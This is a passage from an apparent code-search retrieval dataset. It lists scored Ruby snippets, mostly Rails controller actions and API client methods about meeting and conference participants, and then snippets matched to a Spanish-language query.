Configuration.base_uri.dup\r\n _query_builder << '/conferences/listParticipant.json'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare form parameters.\r\n _parameters = {\r\n 'ConferenceSid' => options['conference_sid'],\r\n 'Page' => options['page'],\r\n 'Pagesize' => options['pagesize'],\r\n 'Muted' => options['muted'],\r\n 'Deaf' => options['deaf']\r\n }\r\n _parameters = APIHelper.form_encode_parameters(_parameters)\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n parameters: _parameters\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end", "title": "" }, { "docid": "ab68885677c731b133a1a6faff7c636c", "score": "0.6347607", "text": "def participants\n recipients\n end", "title": "" }, { "docid": "d2b7328d3244eb9594a34e85fe9d55c2", "score": "0.6339535", "text": "def participants\n return [] if @participants.nil?\n\n @mapped_participants ||= @participants.map{ |p| Basecamp3::Person.new(p) }\n end", "title": "" }, { "docid": "699e394d7c2ce1c410c1931576fdc871", "score": "0.6331466", "text": "def new\n @participant = Participant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @participant }\n end\n end", "title": "" }, { "docid": "699e394d7c2ce1c410c1931576fdc871", "score": "0.6331466", "text": "def new\n @participant = Participant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @participant }\n end\n end", "title": "" }, { "docid": "699e394d7c2ce1c410c1931576fdc871", "score": "0.6331466", "text": "def new\n @participant = Participant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @participant }\n end\n end", "title": "" }, { "docid": "64ba66b9b69cbd0640aa67b5b6f3873f", "score": "0.6322302", "text": "def index\n @research_participants = ResearchParticipant.all\n end", "title": "" }, { "docid": "c73c82fc0953b59f8b9e6c3148275b15", "score": "0.63102776", "text": "def past_meeting_participants(*args)\n params = Zoom::Params.new(Utils.extract_options!(args))\n params.require(:meeting_uuid)\n Utils.parse_response self.class.get(\"/past_meetings/#{params[:meeting_uuid]}/participants\", headers: request_headers)\n end", "title": "" }, { "docid": "7294a3ba12a3977e6fdd30517fedfee4", "score": "0.6294188", "text": "def index\n @participant = Participant__c.find(request[:participant_id])\n @participant_profiles = ParticipantProfile__c.query(\"Participant__r.Id=\" + \"'#{request[:participant_id]}'\")\n #render :text => 'result is here.'\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @participant_profiles }\n end\n\n end", "title": "" }, { "docid": "bd68fba17925079f908c9fd07e3527e6", "score": "0.6267004", "text": "def participants\n load_counts unless defined?(@participants)\n @participants\n end", "title": "" }, { "docid": "558823a43cbd49f6a7f2625813931a28", "score": "0.6255956", "text": "def participants\n @time = EventTime.find(params[:event_time_id])\n @event = @time.event\n @invitees = @time.invitees\n \n session[:breadcrumbs].add \"Orentation Participants\"\n \n render :template => \"admin/events/times/show\"\n end", "title": "" }, { "docid": "415b0af0cbeccb2dbea66e388730f117", "score": "0.6248002", "text": "def participants\n return recipients\n end", "title": "" }, { "docid": "637f814dbd7ecffaaf1bb18a4e50936f", "score": "0.6246947", "text": "def show\n render json: serializer_class.new(participant_declaration).serializable_hash.to_json\n end", "title": "" }, { "docid": "7ccc90b20fd5f754957e481fa9ad4c80", "score": "0.62441385", "text": "def new_user_and_participant\n @participant = Participant.new\n\n respond_to do |format|\n format.html # new_user_and_participant.html.erb\n format.json { render json: @participant }\n end\n end", "title": "" }, { "docid": "3cc6bd3b7a136d9e5550a01765567f05", "score": "0.62358606", "text": "def index\n @participant = Participant__c.find(request[:participant_id])\n @fitness_goals = Fitness_Goal__c.query(\"Participant__r.Id=\" + \"'#{request[:participant_id]}'\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fitness_goals }\n end\n end", "title": "" }, { "docid": "b6d6ba2792ed29b0d2f5f018af769527", "score": "0.62341774", "text": "def participants_page\n\t\t@user = current_user\n\t\t@meeting = Meeting.find(params['id'])\n\tend", "title": "" }, { "docid": "7813396b0141196773a30409adce5cdf", "score": "0.6201293", "text": "def members\n participants\n end", "title": "" }, { "docid": "f034a50b2a69bb45a970396f7fbe84b7", "score": "0.61976475", "text": "def get\n if can_view\n interview = Interview.find(params[:id])\n members = User.where(:id => UserInterview.where(:interview_id => interview.id).pluck(:user_id)).pluck(:username ).join \",\"\n render json: {\n :id => interview.id,\n :title => interview.title,\n :agenda => interview.agenda,\n :members => members,\n :start => interview.start,\n :end => interview.end,\n :comments => interview.comments,\n :created_by => interview.user.username,\n }\n else\n render json: {}\n end\n end", "title": "" }, { "docid": "6ab7496e3b97095f99e20e6e3d198fa7", "score": "0.6187218", "text": "def participants(without_user_id = nil)\n users = User.where(:id => without_user_id.present? ? self.participant_ids_without(without_user_id) : self.participant_ids)\n users\n end", "title": "" }, { "docid": "8e4e4dc3d60651ae8209fe13b8f372a6", "score": "0.61724573", "text": "def participants()\n return MicrosoftGraph::Communications::Calls::Item::Participants::ParticipantsRequestBuilder.new(@path_parameters, @request_adapter)\n end", "title": "" }, { "docid": "d7300539623ededcdc04895537d54b23", "score": "0.6164707", "text": "def show\n @request_participant = RequestParticipant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @request_participant }\n format.js\n end\n end", "title": "" }, { "docid": "2b4caa75ea15e0fe0a005930980fd843", "score": "0.616069", "text": "def show\n @survey_participant = SurveyParticipant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey_participant }\n end\n end", "title": "" }, { "docid": "9ffbbbf6c58001f509a932d594c2e067", "score": "0.6148653", "text": "def index\n @partners = Partner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @partners }\n end\n end", "title": "" }, { "docid": "e5e48b140066e850aea2c5df999f9563", "score": "0.61458606", "text": "def initialize\n @participants = []\n end", "title": "" }, { "docid": "3860f8235f9ca26603912c006e4b4c62", "score": "0.61368006", "text": "def show\n @military_battle_participant = Military::BattleParticipant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @military_battle_participant }\n end\n end", "title": "" }, { "docid": "621b3e5531c3c09b908883912b96a7d5", "score": "0.6117131", "text": "def index\n @partners = Partner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @partners }\n end\n end", "title": "" }, { "docid": "333b106ce417194e3ca19c2b2a3708ee", "score": "0.61154366", "text": "def uninvite_participants\n load_object\n participants = params[:participant_ids]\n if participants.nil?\n # TODO: Fehlermeldung (500, Serverfehler)\n return\n end\n if participants.is_a? Hash\n participants = participants.values\n end\n unless participants.is_a? Array\n # TODO: Fehlermeldung (500, Serverfehler)\n return\n end\n participants.map! { |id| User.find_by_id(id)}\n participants.compact! # Remove nil elements where no user was found\n participants.delete_if { |user| @meeting.initiated_by?(user) } # Never remove the initiator!\n # Remove votes cast by the deleted users:\n @meeting.suggestions.each do |suggestion|\n votes = suggestion.votes.select { |vote| participants.include?(vote.voter)}\n suggestion.votes.delete(votes)\n end\n # Remove the users themselves:\n @meeting.participants.delete participants\n @meeting.save!\n\n # \"Touch\" the meetings update dates:\n touch_meeting(@meeting)\n respond_to do |format|\n flash[:notice] = t(\"notices.participant_uninvited\")\n format.html { redirect_to user_meeting_path(@user, @meeting) }\n format.js {}\n # format.mobile {}\n # format.iphone_native { render :file => \"meetings/uninvite_participants_iphone_native.haml\" }\n # format.android_native { render :file => \"meetings/uninvite_participants_android_native.haml\" }\n end\n end", "title": "" }, { "docid": "a6ea3d807b1a984b4130085e61cc520a", "score": "0.6101473", "text": "def index\n @responses = Response\n if params[\"participant_hashes\"]\n @responses = @responses.filter_by_participant_hashes(params[\"participant_hashes\"].split(\",\"))\n end\n @responses = @responses.all\n end", "title": "" }, { "docid": "a892174098470138209db6a142a43f85", "score": "0.61008114", "text": "def show\n @project_participant = ProjectParticipant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project_participant.to_json(:include => [:project, :user, :contact]) }\n end\n end", "title": "" }, { "docid": "4302f259571feb8bda16ad23644dc04c", "score": "0.6089662", "text": "def index_participating\n matches = current_user.matches\n render json: matches\n end", "title": "" }, { "docid": "5030a63b4e21881527ed717fbb8989e8", "score": "0.6089173", "text": "def index\n @professor_participants = ProfessorParticipant.all\n end", "title": "" }, { "docid": "e8c75f2b63ef8a1b5f19fae1a6b1636a", "score": "0.6086718", "text": "def index\n @participant_people = Participant::Person.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @participant_people }\n end\n end", "title": "" }, { "docid": "dbb8d4d7798b0b4afe86398c43e5c285", "score": "0.6082517", "text": "def index\n if logged_in? && current_user.identity.eql?(1)\n @activity_participants = ActivityParticipant.all\n else\n not_found\n end\n end", "title": "" }, { "docid": "320de68c81726568174dffaadc2a65a9", "score": "0.607477", "text": "def participant(participant)\n get(\"inbox/participants/#{participant}\").pop\n end", "title": "" }, { "docid": "56926f2ceb55697cf6063638ad7deb4a", "score": "0.60593504", "text": "def participants(conference_sid, optional_params = {})\n response = Network.get(['Conferences', conference_sid, 'Participants'], optional_params)\n ResourceCollection.new(response, 'participants', Participant)\n end", "title": "" }, { "docid": "e8d7f1a5aa1ad665ad83e81f3dd32016", "score": "0.6051696", "text": "def show\n @team = Team.find(params[:id])\n \n @users = @team.users\n @tournaments = @team.tournaments\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end", "title": "" }, { "docid": "03f4d83a0d97fb74cf0d47f5b8a04245", "score": "0.60460824", "text": "def show\n @participant = Participant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @participant }\n end\n end", "title": "" }, { "docid": "d3606676eb1310fba7c1c6d8cec82749", "score": "0.6034278", "text": "def index\n @users = User.paginate :all, :page => params[:page], :order => 'login ASC'\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @participants }\n end\n end", "title": "" }, { "docid": "d3606676eb1310fba7c1c6d8cec82749", "score": "0.6034278", "text": "def index\n @users = User.paginate :all, :page => params[:page], :order => 'login ASC'\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @participants }\n end\n end", "title": "" }, { "docid": "d3606676eb1310fba7c1c6d8cec82749", "score": "0.6034278", "text": "def index\n @users = User.paginate :all, :page => params[:page], :order => 'login ASC'\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @participants }\n end\n end", "title": "" }, { "docid": "32c6db4d2b686a149018ae2e7f33fbaa", "score": "0.602677", "text": "def participants\n\t return recipients\n\tend", "title": "" }, { "docid": "8832860d62232e4b1113dd313a55ac52", "score": "0.60261405", "text": "def get_participants\n\t\t@ep = Participant.where(event_id: self.id)\n\t\t@participants = []\n\t\t@ep.each do |m|\n\t\t\t@participants << User.find_by_id(m.user_id)\n\t\tend\n\t\treturn @participants\n end", "title": "" }, { "docid": "13ae707e29dfa43c374187ed8e9e6116", "score": "0.6023211", "text": "def show\n @category_participant = CategoryParticipant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category_participant }\n end\n end", "title": "" }, { "docid": "fa6c69d0a8cf7cb4d6a464ba728c3960", "score": "0.60218555", "text": "def past_meeting_participants_with_http_info(meeting_uuid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: MeetingsApi.past_meeting_participants ...'\n end\n # verify the required parameter 'meeting_uuid' is set\n if @api_client.config.client_side_validation && meeting_uuid.nil?\n fail ArgumentError, \"Missing the required parameter 'meeting_uuid' when calling MeetingsApi.past_meeting_participants\"\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 300\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling MeetingsApi.past_meeting_participants, must be smaller than or equal to 300.'\n end\n\n # resource path\n local_var_path = '/past_meetings/{meetingUUID}/participants'.sub('{' + 'meetingUUID' + '}', meeting_uuid.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'next_page_token'] = opts[:'next_page_token'] if !opts[:'next_page_token'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json', 'multipart/form-data'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse20024')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MeetingsApi#past_meeting_participants\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "620bb0a437917f3887de0ed628ca6a48", "score": "0.6020676", "text": "def create\n @participant = @league.participants.new(participant_params)\n flash[:notice] = \"Participant was created successfully.\" if @participant.save\n respond_with(@league, @participant)\n end", "title": "" }, { "docid": "9d426d4e7bd2878a650378fd45e056a3", "score": "0.6016588", "text": "def create_conferences_view_participant(options = {})\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/conferences/viewParticipant.json'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare form parameters.\r\n _parameters = {\r\n 'ConferenceSid' => options['conference_sid'],\r\n 'ParticipantSid' => options['participant_sid']\r\n }\r\n _parameters = APIHelper.form_encode_parameters(_parameters)\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n parameters: _parameters\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end", "title": "" } ]
b93417a5d3e31dd5b56c2970783ae0bd
Crear un arreglo con solo los nombres de los platos.
[ { "docid": "29428d55a61ea0dffc456290e91a2e1c", "score": "0.0", "text": "def solo_nombres(hashito)\n hashito.keys\nend", "title": "" } ]
[ { "docid": "5b2ea8f31a5992bc8a01c8a6705c8d0d", "score": "0.594745", "text": "def initialize(nombre_plato, lista_alimentos, lista_gramos)\n @nombre_plato = nombre_plato\n @lista_alimentos = lista_alimentos\n @lista_gramos = lista_gramos\n end", "title": "" }, { "docid": "60e7428ce7d7b5f1d9b889321a0a46fc", "score": "0.5758648", "text": "def initialize(nombre_plato, lista_alimentos, lista_gramos)\n super(nombre_plato, lista_alimentos, lista_gramos)\n end", "title": "" }, { "docid": "afea027654e8ecdb4776d0b6473878ac", "score": "0.56966317", "text": "def nombreplato(nombre)\n @nombre_plato = nombre\n end", "title": "" }, { "docid": "aaa94c6ac7458336986d42612c438e8a", "score": "0.554515", "text": "def plato(n)\n\t\t plat=\"#{@descripcion[n]}, #{@porcion[n]}, #{@gramos[n]}\"\n\t\t return plat\n\t end", "title": "" }, { "docid": "df780de7e2b04df3a1eec969c15d817e", "score": "0.5503664", "text": "def nplatos()\n\t\t plat=''\n\t\t i=0\n\t\t while i < @descripcion.size\n\t\t\t plat=plat + \"- #{@descripcion[i]}, #{@porcion[i]}, #{@gramos[i]}\\n\"\n\t\t\t i=i+1\n\t\t end\n\t\t return plat\n\t\tend", "title": "" }, { "docid": "58a1789af3a1a9f07e969aa3030a8a7e", "score": "0.546489", "text": "def initialize(nombre,proteinas,carbo,lipidos,gases,terreno)\n\t\t#Variable con el nombre del Plato\n\t\t@nombre = nombre\n\t\t#Gramos de Proteinas\n\t\t@proteinas = proteinas\n\t\t#Gramos de Carbohidratos\n\t\t@carbo = carbo\n\t\t#Gramos de lipidos\n\t\t@lipidos = lipidos\n\t\t#Emisones de Gases del Alimento\n\t\t@gases = gases\n\t\t#Uso de Terreno del Alimento\n\t\t@terreno = terreno\n\tend", "title": "" }, { "docid": "9d2dc4445e1c94932a7784f59f886c2c", "score": "0.53836846", "text": "def initialize(nombre,alimentos,gramos)\n\t\t#Nombre del Plato\n\t\t@nombre=nombre\n\t\t#Lista de Alimento que contiene el Plato\n\t\t@alimentos = Lista.new(0)\n\t\t@alimentos.insertar_array(alimentos)\n\t\t#Lista de Los gramos de cada Alimento\n\t\t@gramos = Lista.new(0)\n\t\t@gramos.insertar_array(gramos)\n\tend", "title": "" }, { "docid": "0f180be2410a4825ad22517137fb0fb5", "score": "0.53761387", "text": "def initialize(name)\n\t\t@nombre_ = name\n\t\t@listAlimentos_ = Lista.new\n\t\t@listGramos_ = Lista.new\n\tend", "title": "" }, { "docid": "b6e4b4329ddb39438d7a591714e1f540", "score": "0.5353457", "text": "def initialize(gramos, nombre, proteinas, carbohidratos, lipidos, gei, terreno)\n @nombre, @proteinas, @carbohidratos, @lipidos, @gei = nombre, proteinas, carbohidratos, lipidos, gei\n @terreno = terreno\n @gramos = gramos\n end", "title": "" }, { "docid": "374bb5b2f39b0d47ff85c7a11025a754", "score": "0.5345677", "text": "def initialize(nombre, gei, terreno, hidratos, proteinas, lipidos)\n @nombre, @gei, @terreno, @hidratos, @proteinas, @lipidos = nombre, gei, terreno, hidratos, proteinas, lipidos\n end", "title": "" }, { "docid": "fe9f35e5fa94eb615d48fe216dbcd490", "score": "0.5273907", "text": "def initialize(plateau_name, plateau_size, grid, name, start_position, orders_from_NASA)\n @plateau_name = plateau_name\n @plateau_size = plateau_size\n @grid = grid\n\n @name = name\n @start_position = start_position\n @orders_from_NASA = orders_from_NASA.split('')\n\n # init position of rover\n @position = [0..1]\n @position[0] = @start_position[0]\n @position[1] = @start_position[1]\n\n #init direction that rover is facing\n @facing = @@COMPASS.rotate(@@COMPASS.index(@start_position[2]))\n @is_facing = @facing[0]\n end", "title": "" }, { "docid": "73f06afa40f4b638f18f43dee1ae2a03", "score": "0.5271786", "text": "def initialize(arreglo)\r\n @estructura = []\r\n #Se recorre el arreglo y se va agregando cada elemento al tope de la pila\r\n arreglo.each {|elem| self.agregar(elem)}\r\n end", "title": "" }, { "docid": "bc5a68e6000ec33cf5abdf883df0c0eb", "score": "0.52627134", "text": "def initialize(propiedades) # Inicio el metodo\n @nombre = propiedades[:nombre]\n @raza = propiedades[:raza]\n @color = propiedades[:color]\n end", "title": "" }, { "docid": "4bdfd81450a4ad44813ed3e3e7e3068d", "score": "0.51944214", "text": "def initialize(arreglo)\r\n @estructura = []\r\n arreglo.each {|elem| self.agregar(elem)} #Se recorre el arreglo y se va agregando a la cola\r\n end", "title": "" }, { "docid": "cd0e59b63d025040d185575565203f91", "score": "0.5134488", "text": "def initialize(nombre, proteinas, carbohidratos, lipidos, gei, terreno, gramos)\n\t\t@nombre, @proteinas, @carbohidratos, @lipidos, @gei, @terreno, @gramos =\n\t\tnombre, proteinas, carbohidratos, lipidos, gei, terreno, gramos \n\tend", "title": "" }, { "docid": "7c27aec8ddb9b9efd6cc15d4f32b5388", "score": "0.5105415", "text": "def inicializar_modelo (nombres)\n @nombre_jugadores = nombres\n @modelo.inicializar_juego(nombres)\n end", "title": "" }, { "docid": "2fc8cb03763da29924358e2b95c9a2fd", "score": "0.5103792", "text": "def initialize(name);\n super;\n self.name = name;\n self.physical = [];\n @name_count = name.length;\n @obj_count = Robot.count;\n end", "title": "" }, { "docid": "434cf9486caa64093b81a75203a47359", "score": "0.5093887", "text": "def initialize(name = \"Legolas\")\n\t\tself.name = name\n\tend", "title": "" }, { "docid": "08c25e0ab22e9c735323b3c0bc6a0def", "score": "0.5089934", "text": "def make_name\n # incrementing the count for each action the robot makes\n @instruction_count += 1\n # creating an array with an alphabetical range from A to Z then 'samples' two random letters\n robo_letters = (\"A\"..\"Z\").to_a.sample(2)\n # creating an array with a numerical range from 0 to 9 then 'samples' three random letters\n robo_numbers = (0..9).to_a.sample(3)\n # Concatinating the two arrays together then stripping it from the array.\n name_pool = robo_letters.concat(robo_numbers).join\n end", "title": "" }, { "docid": "08c25e0ab22e9c735323b3c0bc6a0def", "score": "0.5089934", "text": "def make_name\n # incrementing the count for each action the robot makes\n @instruction_count += 1\n # creating an array with an alphabetical range from A to Z then 'samples' two random letters\n robo_letters = (\"A\"..\"Z\").to_a.sample(2)\n # creating an array with a numerical range from 0 to 9 then 'samples' three random letters\n robo_numbers = (0..9).to_a.sample(3)\n # Concatinating the two arrays together then stripping it from the array.\n name_pool = robo_letters.concat(robo_numbers).join\n end", "title": "" }, { "docid": "5f8807a4624703896f28818bac2b3b17", "score": "0.5075582", "text": "def initialize(nombre=\"\", apellido=\"\")\r\n @nombre = nombre\r\n @apellido = apellido\r\n end", "title": "" }, { "docid": "a5df44c0079862770b5515c11e95ba5e", "score": "0.5060365", "text": "def createLoot\n loot1 = Loot.new(1,2,3,4,5)\n loot2 = Loot.new(4,5,6,7,8)\n loot3 = Loot.new(7,8,9,10,11)\n \n loots = [loot1,loot2,loot3]\n return loots\n end", "title": "" }, { "docid": "3697f7031f8713d3d87fb330f1518447", "score": "0.5057169", "text": "def reconstruir_palabras_nodo(palabra, palabras)\n palabras << palabra unless @relacion.empty?\n @hijos.each do |letra, valor|\n valor.reconstruir_palabras_nodo(palabra + letra, palabras)\n end\n end", "title": "" }, { "docid": "3697f7031f8713d3d87fb330f1518447", "score": "0.5057169", "text": "def reconstruir_palabras_nodo(palabra, palabras)\n palabras << palabra unless @relacion.empty?\n @hijos.each do |letra, valor|\n valor.reconstruir_palabras_nodo(palabra + letra, palabras)\n end\n end", "title": "" }, { "docid": "1691df9601f1b648e2d0089cdc479c04", "score": "0.50535923", "text": "def initialize(nombreEtiqueta, grasas, grasasSaturadas, grasasMonoinsaturadas, grasasPoliinsaturadas, hidratosCarbono, azucares, polialcoholes, almidon, fibraAlimentaria, proteinas, sal, vitaminas, minerales)\n\t\n\t\t@nombreEtiqueta, @grasas, @grasasSaturadas, @grasasMonoinsaturadas, @grasasPoliinsaturadas, @hidratosCarbono, @azucares, @polialcoholes, @almidon, @fibraAlimentaria, @proteinas, @sal, @vitaminas, @minerales = nombreEtiqueta, grasas, grasasSaturadas, grasasMonoinsaturadas, grasasPoliinsaturadas, hidratosCarbono, azucares, polialcoholes, almidon, fibraAlimentaria, proteinas, sal, vitaminas, minerales\n\tend", "title": "" }, { "docid": "34c12d5c26df4ab0120fa66cad0c399c", "score": "0.5050776", "text": "def inicializar (nombre, proteinas, carbohidratos, lipidos, co2, terreno, cantidad)\n @nombre, @proteinas, @carbohidratos, @lipidos, @co2, @terreno, @cantidad = nombre, proteinas, carbohidratos, lipidos, co2, terreno, cantidad\n end", "title": "" }, { "docid": "99399448edc97d8631ae784d4cb81a43", "score": "0.50496584", "text": "def create_monster\n name = Faker::Games::ElderScrolls.creature\n\n if name.include?(' ')\n name = separate_paired_name(name)\n [Spicy::Proton.adjective, Spicy::Proton.adjective].concat(name)\n else\n [Spicy::Proton.adjective, Spicy::Proton.adjective, name]\n end\n end", "title": "" }, { "docid": "c6dd4b0f7da952cb4614d409c61e16b5", "score": "0.5023734", "text": "def initialize (nombre, proteinas, glucidos, grasas)\n @nombre = nombre\n @proteinas = proteinas\n @glucidos = glucidos\n @grasas = grasas\n @concentracionThis = []\n @concentracionGlucosa = []\n\n end", "title": "" }, { "docid": "b54b0b6f0dd93f8b532b197aff8b8e9a", "score": "0.5021627", "text": "def initialize(name,p,g,l,med=nil)\n @nombre=name\n @proteinas=p\n @glucidos=g\n @lipidos=l\n @g=med\n end", "title": "" }, { "docid": "a4e3334ef267473d2acb0c08d84b9fb1", "score": "0.50200063", "text": "def mk_systeme( n )\n planetes = (0...n).map do |i|\n Planete.new( \"#{i}\",\n 0,\n rand(10E+15),\n Vector[rand(10E+10), rand(10E+10)],\n Vector[rand(10E+10), rand(10E+10)]\n )\n end\n\n SystemePlanetaire.new( *planetes )\nend", "title": "" }, { "docid": "fc35c2621064e982a9778e932caf0f7d", "score": "0.50089073", "text": "def generate \n horoscopes = []\n File.open('horoscope.txt').each do |line|\n horoscopes.push(line.chomp)\n end\n # return horoscope\n horoscopes\n end", "title": "" }, { "docid": "47b9fe8eda20d26fe555ee2e0cdd6c04", "score": "0.5008168", "text": "def create_parcels\n number_of_parcels = ['A', 'C'].include?(orientation.upcase) ? length : width\n parcel_size = ['A', 'C'].include?(orientation.upcase) ? width : length\n number_of_parcels.times do |i|\n Parcel.create(\n order_from_south: i + 1,\n potager: self,\n size: parcel_size\n )\n end\n end", "title": "" }, { "docid": "46e16185b15bc1fa5a4dd6dd52dd5b4e", "score": "0.5007988", "text": "def initialize(nombre,proteinas,carbohidratos,lipidos,gei,terreno)\n @nombre=nombre\n @proteinas=proteinas\n @carbohidratos=carbohidratos\n @lipidos=lipidos\n @gei=gei\n @terreno=terreno\n end", "title": "" }, { "docid": "3b882fe0025b927e590295b2bd6dc65c", "score": "0.4999563", "text": "def create_line(line_name, station_names)\n # Create a new Line given a name, like 'red'\n line = Line.new(line_name)\n\n # For each station name \n station_names.each do |sname|\n # create a new station named sname, like 'alewife'\n # add it to the line we created just above\n # Oops,line.add_station(Station.new(sname))\n line.add_station(sname)\n end\n\n # add this line, we just created, to this subway systems array of lines\n @lines.push(line)\n end", "title": "" }, { "docid": "aa1f34999bed969a56ac850d1f7e11e8", "score": "0.49973986", "text": "def show_plantillas\n @plantillas = [[\"\", \"\"]]\n if vistas_manejadas.length > 0\n @plantillas = Heb412Gen::Plantilladoc\n .where(\"vista IN (?)\", vistas_manejadas).select(\"nombremenu, id\")\n .map { |p| [p.nombremenu, \"#{p.id}.odt\"] }\n @plantillas += Heb412Gen::Plantillahcr\n .where(\"vista IN (?)\", vistas_manejadas).select(\"nombremenu, id\")\n .map { |p| [p.nombremenu, \"#{p.id}.ods\"] }\n end\n end", "title": "" }, { "docid": "83a5c1453502b6a8686a76d74962af93", "score": "0.49952427", "text": "def build_resources(param)\n resources = []\n param.each { |r|\n obj_parts = r.split(',')\n res = LessonPlanResource.new\n res.obj_id = obj_parts[0]\n res.obj_type = obj_parts[1]\n resources.push(res)\n }\n\n resources\n end", "title": "" }, { "docid": "2837e09705d5ba2013aeab4da40573e5", "score": "0.49941695", "text": "def initialize(nombre,proteinas,carbohidratos,lipidos,gei,terreno,nPorciones)\r\n @nombre = nombre\r\n @nPorciones = nPorciones\r\n @proteinas = proteinas*nPorciones\r\n @carbohidratos = carbohidratos*nPorciones\r\n @lipidos = lipidos*nPorciones\r\n @gei = gei*nPorciones\r\n @terreno = terreno*nPorciones\r\n end", "title": "" }, { "docid": "c7414c6549839ed73d5ab3bcb35d1dd7", "score": "0.49924225", "text": "def construct name\n end", "title": "" }, { "docid": "604f63319f1e15f8a819bdda96a302af", "score": "0.49752808", "text": "def crear_nombre_archivo\n if self.for_cruce?\n nombre = \"#{self.id}_Gaceta_\" << self.importacion.publicacion\n nombre << \"_\" << (I18n.l self.importacion.publicacion_fecha, :format => \"%d-%b-%Y\")\n elsif self.for_solicitud?\n nombre = \"solicitud\"\n else\n nombre = \"#{self.id}_busquedas\"\n end\n nombre\n end", "title": "" }, { "docid": "d9d398dac06879e920e2a69ed03b3873", "score": "0.49717656", "text": "def initialize(name)\n @name = name\n @nota\n #declaracion v instancia\n end", "title": "" }, { "docid": "5987163a0d20916007f84cb8a21ef4c3", "score": "0.49676502", "text": "def casos_de_prueba_ejercicio_uno\n un_hombre = Hombre.new\n un_hombre.caminar\n otro_hombre = Hombre.new\n otro_hombre.hablar\n un_sapo= Sapo.new\n un_sapo.saltar\n un_aguila= Aguila.new\n un_aguila.volar\n un_perro= Perro.new\n un_perro.volar\nend", "title": "" }, { "docid": "3c1383059215c4d6d2548098a81a9799", "score": "0.4954198", "text": "def initialize(nombre, apellido)\r\n @nombre = nombre\r\n @apellido = apellido\r\n end", "title": "" }, { "docid": "4e9a0274a738a6ce73bc8a0feed43481", "score": "0.49504262", "text": "def create_politician\n puts \"Insert new Party: (D)emocrat or (R)epublican?\"\n party = gets.downcase.chomp\n if party == \"d\"\n party = \"Democrat\"\n elsif party == \"r\"\n party = \"Republican\"\n else\n create_politician\n end\n puts \"Insert name:\"\n name = gets.chomp\n @v_or_p << \"Politician\"\n @names << name\n @party_or_politics << party\n # Array.new(\"Politician\", name, party)\n @detail << [\"Politician\", name, party] # Polician.new(name, party)\n # @detail.map(&:name) => [\"Donald\"]\n list_detail\n end", "title": "" }, { "docid": "29c1ee3af8515ecf1359721fe7ba094d", "score": "0.4948284", "text": "def get_new_named_planet(name)\n name = nil if name.strip.length < 1 || invalid_name?(name)\n new_planet_info = [\n # sets planet_name to name if name contains at least one character\n !name.nil? ? name.strip : get_string_attribute(\"name\"),\n get_string_attribute(\"location\"), # initial_location\n get_int_attribute(\"distance from Sun in km\", 0), # initial_distance_from_sun\n get_float_attribute(\"year length\"), # initial_year\n get_int_attribute(\"diameter\", 1), # initial_diameter\n get_float_attribute(\"mass in kg\"), # initial_mass\n get_int_attribute(\"number of moons\", 0) # initial_number_of_moons\n ]\n return Planet.new(*new_planet_info)\nend", "title": "" }, { "docid": "3f5832416f37f8a46a88b1678c73131d", "score": "0.49459523", "text": "def create_prototype(building_type)\n osm_dir = \"#{__dir__}/outputs/#{building_type}\"\n sr_dir = osm_dir + '/SR1'\n osm = sr_dir + '/in.osm'\n # Check first whether the directories exist\n if !File.exist?(osm)\n model = OpenStudio::Model::Model.new\n epw_file = nil\n template = '90.1-2013'\n cz = 'ASHRAE 169-2013-5A'\n if !Dir.exist?(osm_dir)\n FileUtils.mkdir_p(osm_dir)\n end\n prototype_creator = Standard.build(\"#{template}_#{building_type}\")\n prototype_creator.model_create_prototype_model(cz, epw_file, osm_dir, false, 